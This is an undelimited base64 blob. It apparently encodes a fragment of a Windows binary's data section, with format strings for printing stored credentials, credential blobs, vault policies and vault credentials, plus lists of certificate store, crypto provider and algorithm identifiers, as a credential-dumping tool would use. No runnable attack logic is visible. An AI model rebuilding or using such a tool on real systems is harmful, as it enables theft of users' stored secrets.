JAAAAA4AAAAaAAAAIAAAAAAAAAACAAAAMAAAAA4AAAAmAAAALAAAAAAAAAACAAAANAAAAA4AAAAqAAAAMAAAAAAAAAACAAAAPBCDIABAAAAYAAAAJgAAAAIAQAAGAEAACgBAAA4AQAAQAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAeAAAAIAAAACIAAAAyAAAANAAAADYAAAABAEAABABAAAIAQAAIAEAAAAAAAD4AAAAAAAAABgAAAAAAAAAEAAAAAAAAAAoAAAAAAAAADQAAABIAAAAOAAAAAAAAABQAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAiAAAAJAAAAC4AAAAwAAAAMgAAAD0AAAAAAEAAPgAAAAQAQAAAAAAAOgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAANAAAAEgAAAA4AAAAAAAAAEAAAAB4AAAA6AAAAAABAAAYAQAAMAEAADgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACIAAAAkAAAALgAAADAAAAAyAAAAPQAAAAAAQAA+AAAABABAAAAAAAA2AAAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAAA4AAAAWAAAAEAAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAACAAAAAkAAAAJgAAACgAAAAyAAAANAAAADYAAAABAEAABABAAAIAQAAIAEAAAAAAADYAAAAAAAAACgAAAAAAAAAGAAAAAAAAAAwAAAAAAAAADgAAABYAAAAQAAAAAAAAABAAAAAeAAAAOgAAAAAAQAAGAEAADABAAA4AQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAIAAAACQAAAAmAAAAKAAAADIAAAA0AAAANgAAAAEAQAAEAEAAAgBAAAgAQAAAAAAANgAAAAAAAAAKAAAAAAAAAAYAAAAAAAAADAAAAAAAAAAQAAAAGAAAABIAAAAAAAAAEgAAACIAAAAGAEAADABAABIAQAAYAEAAGgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAgAAAA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CAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMAFMAIABHAFIATwBVAFAAKgAqAAoAAAAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAHMAdAByAHUAYwB0AFMAaQB6AGUAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgACAAIAAgADoAIAAlAHUACgAAAAAAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQAUwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAoAAAA/AAAAZwBlAG4AZQByAGkAYwAAAGQAbwBtAGEAaQBuAF8AcABhAHMAcwB3AG8AcgBkAAAAZABvAG0AYQBpAG4AXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAABkAG8AbQBhAGkAbgBfAGUAeAB0AGUAbgBkAGUAZAAAAG4AbwBuAGUAAAAAAAAAAABzAGUAcwBzAGkAbwBuAAAAbABvAGMAYQBsAF8AbQBhAGMAaABpAG4AZQAAAAAAAABlAG4AdABlAHIAcAByAGkAcwBlAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAUABPAEwASQBDAFkAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAdgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB2AGEAdQBsAHQAIAAgACAAOgAgAAAAJQAqAHMAIAAgAE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIAB1AG4AawAwAC8AMQAvADIAOgAgACUAMAA4AHgALwAlADAAOAB4AC8AJQAwADgAeAAKAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAUABPAEwASQBDAFkAIABLAEUAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAwACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgADoAIAAAAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAAAAAACUAKgBzACAAIABTAGMAaABlAG0AYQBJAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAEYAcgBpAGUAbgBkAGwAeQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAAAAlACoAcwAgACAAaQBkACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEMATABFAEEAUgAgAEEAVABUAFIASQBCAFUAVABFAFMAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAYwBvAHUAbgB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAAAAAABpAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgADoAIAAAAAAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBFAE4AVABFAFIAUABSAEkAUwBFAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBTAEUAUgBWAEkAQwBFAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFUAUwBFAFIAUwAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAATQBTAF8ARABFAEYAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMAAAAAAATQBTAF8ARQBOAEgAQQBOAEMARQBEAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAFMAVABSAE8ATgBHAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHQAcgBvAG4AZwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABEAEgAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgBfAFgAUAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAUgBTAEEAIABhAG4AZAAgAEEARQBTACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAAAAAAAAUABSAE8AVgBfAEQAUwBTAAAAAAAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAAAAAABQAFIATwBWAF8ATQBTAF8ARQBYAEMASABBAE4ARwBFAAAAAAAAAAAAUABSAE8AVgBfAFMAUwBMAAAAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAAAAAAFAAUgBPAFYAXwBEAFMAUwBfAEQASAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBTAEkARwAAAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8AUwBJAEcAAAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAAAAAAAAUABSAE8AVgBfAFMAUABZAFIAVQBTAF8ATABZAE4ASwBTAAAAAAAAAFAAUgBPAFYAXwBSAE4ARwAAAAAAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAEEARQBTAAAAAAAAAAAAQwBBAEwARwBfAE0ARAAyAAAAAAAAAAAAQwBBAEwARwBfAE0ARAA0AAAAAAAAAAAAQwBBAEwARwBfAE0ARAA1AAAAAAAAAAAAQwBBAEwARwBfAFMASABBADEAAAAAAAAAQwBBAEwARwBfAE0AQQBDAAAAAAAAAAAAQwBBAEwARwBfAFIAUwBBAF8AUwBJAEcATgAAAAAAAABDAEEATABHAF8ARABTAFMAXwBTAEkARwBOAAAAAAAAAEMAQQBMAEcAXwBOAE8AXwBTAEkARwBOAAAAAAAAAAAAQwBBAEwARwBfAFIAUwBBAF8ASwBFAFkAWAAAAAAAAABDAEEATABHAF8ARABFAFMAAAAAAAAAAABDAEEATABHAF8AMwBEAEUAUwBfADEAMQAyAAAAAAAAAEMAQQBMAEcAXwAzAEQARQBTAAAAAAAAAEMAQQBMAEcAXwBEAEUAUwBYAAAAAAAAAEMAQQBMAEcAXwBSAEMAMgAAAAAAAAAAAEMAQQBMAEcAXwBSAEMANAAAAAAAAAAAAEMAQQBMAEcAXwBTAEUAQQBMAAAAAAAAAEMAQQBMAEcAXwBEAEgAXwBTAEYAAAAAAEMAQQBMAEcAXwBEAEgAXwBFAFAASABFAE0AAAAAAAAAQwBBAEwARwBfAEEARwBSAEUARQBEAEsARQBZAF8AQQBOAFkAAAAAAEMAQQBMAEcAXwBLAEUAQQBfAEsARQBZAFgAAAAAAAAAQwBBAEwARwBfAEgAVQBHAEgARQBTAF8ATQBEADUAAABDAEEATABHAF8AUwBLAEkAUABKAEEAQwBLAAAAAAAAAEMAQQBMAEcAXwBUAEUASwAAAAAAAAAAAEMAQQBMAEcAXwBDAFkATABJAE4ASwBfAE0ARQBLAAAAQwBBAEwARwBfAFMAUwBMADMAXwBTAEgAQQBNAEQANQAAAAAAAAAAAEMAQQBMAEcAXwBTAFMATAAzAF8ATQBBAFMAVABFAFIAAAAAAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAFMAVABFAFIAXwBIAEEAUwBIAAAAAAAAAEMAQQBMAEcAXwBTAEMASABBAE4ATgBFAEwAXwBNAEEAQwBfAEsARQBZAAAAAAAAAEMAQQBMAEcAXwBTAEMASABBAE4ATgBFAEwAXwBFAE4AQwBfAEsARQBZAAAAAAAAAEMAQQBMAEcAXwBQAEMAVAAxAF8ATQBBAFMAVABFAFIAAAAAAAAAAABDAEEATABHAF8AUwBTAEwAMgBfAE0AQQBTAFQARQBSAAAAAAAAAAAAQwBBAEwARwBfAFQATABTADEAXwBNAEEAUwBUAEUAUgAAAAAAAAAAAEMAQQBMAEcAXwBSAEMANQAAAAAAAAAAAEMAQQBMAEcAXwBIAE0AQQBDAAAAAAAAAEMAQQBMAEcAXwBUAEwAUwAxAFAAUgBGAAAAAAAAAAAAQwBBAEwARwBfAEgAQQBTAEgAXwBSAEUAUABMAEEAQwBFAF8ATwBXAEYAAAAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQAyADgAAAAAAAAAAABDAEEATABHAF8AQQBFAFMAXwAxADkAMgAAAAAAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADIANQA2AAAAAAAAAAAAQwBBAEwARwBfAEEARQBTAAAAAAAAAAAAQwBBAEwARwBfAFMASABBAF8AMgA1ADYAAAAAAAAAAABDAEEATABHAF8AUwBIAEEAXwAzADgANAAAAAAAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADUAMQAyAAAAAAAAAAAAQwBBAEwARwBfAEUAQwBEAEgAAAAAAAAAQwBBAEwARwBfAEUAQwBNAFEAVgAAAAAAQwBBAEwARwBfAEUAQwBEAFMAQQAAAAAAQwBFAFIAVABfAEsARQBZAF8AUABSAE8AVgBfAEgAQQBOAEQATABFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBLAEUAWQBfAFAAUgBPAFYAXwBJAE4ARgBPAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMASABBADEAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAE0ARAA1AF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBLAEUAWQBfAEMATwBOAFQARQBYAFQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAEsARQBZAF8AUwBQAEUAQwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAEkARQAzADAAXwBSAEUAUwBFAFIAVgBFAEQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBQAFUAQgBLAEUAWQBfAEgAQQBTAEgAXwBSAEUAUwBFAFIAVgBFAEQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBFAE4ASABLAEUAWQBfAFUAUwBBAEcARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAEMAVABMAF8AVQBTAEEARwBFAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAE4ARQBYAFQAXwBVAFAARABBAFQARQBfAEwATwBDAEEAVABJAE8ATgBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAEYAUgBJAEUATgBEAEwAWQBfAE4AQQBNAEUAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUABWAEsAXwBGAEkATABFAF8AUABSAE8AUABfAEkARAAAAAAAAABDAEUAUgBUAF8ARABFAFMAQwBSAEkAUABUAEkATwBOAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBBAEMAQwBFAFMAUwBfAFMAVABBAFQARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMASQBHAE4AQQBUAFUAUgBFAF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBNAEEAUgBUAF8AQwBBAFIARABfAEQAQQBUAEEAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAEUARgBTAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBGAE8AUgBUAEUAWgBaAEEAXwBEAEEAVABBAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEEAUgBDAEgASQBWAEUARABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAEsARQBZAF8ASQBEAEUATgBUAEkARgBJAEUAUgBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AQQBVAFQATwBfAEUATgBSAE8ATABMAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBQAFUAQgBLAEUAWQBfAEEATABHAF8AUABBAFIAQQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBDAFIATwBTAFMAXwBDAEUAUgBUAF8ARABJAFMAVABfAFAATwBJAE4AVABTAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AUABVAEIATABJAEMAXwBLAEUAWQBfAE0ARAA1AF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBVAEIASgBFAEMAVABfAFAAVQBCAEwASQBDAF8ASwBFAFkAXwBNAEQANQBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAEUATgBSAE8ATABMAE0ARQBOAFQAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEQAQQBUAEUAXwBTAFQAQQBNAFAAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBTAEUAUgBJAEEATABfAE4AVQBNAEIARQBSAF8ATQBEADUAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBVAEIASgBFAEMAVABfAE4AQQBNAEUAXwBNAEQANQBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBFAFgAVABFAE4ARABFAEQAXwBFAFIAUgBPAFIAXwBJAE4ARgBPAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBjAGUAcgB0AF8AZgBpAGwAZQBfAGUAbABlAG0AZQBuAHQAAAAAAEMARQBSAFQAXwBjAHIAbABfAGYAaQBsAGUAXwBlAGwAZQBtAGUAbgB0AAAAAAAAAEMARQBSAFQAXwBjAHQAbABfAGYAaQBsAGUAXwBlAGwAZQBtAGUAbgB0AAAAAAAAAEMARQBSAFQAXwBrAGUAeQBpAGQAXwBmAGkAbABlAF8AZQBsAGUAbQBlAG4AdAAAAEMARQBSAFQAXwBSAEUATgBFAFcAQQBMAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBBAFIAQwBIAEkAVgBFAEQAXwBLAEUAWQBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AQQBVAFQATwBfAEUATgBSAE8ATABMAF8AUgBFAFQAUgBZAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEEASQBBAF8AVQBSAEwAXwBSAEUAVABSAEkARQBWAEUARABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAA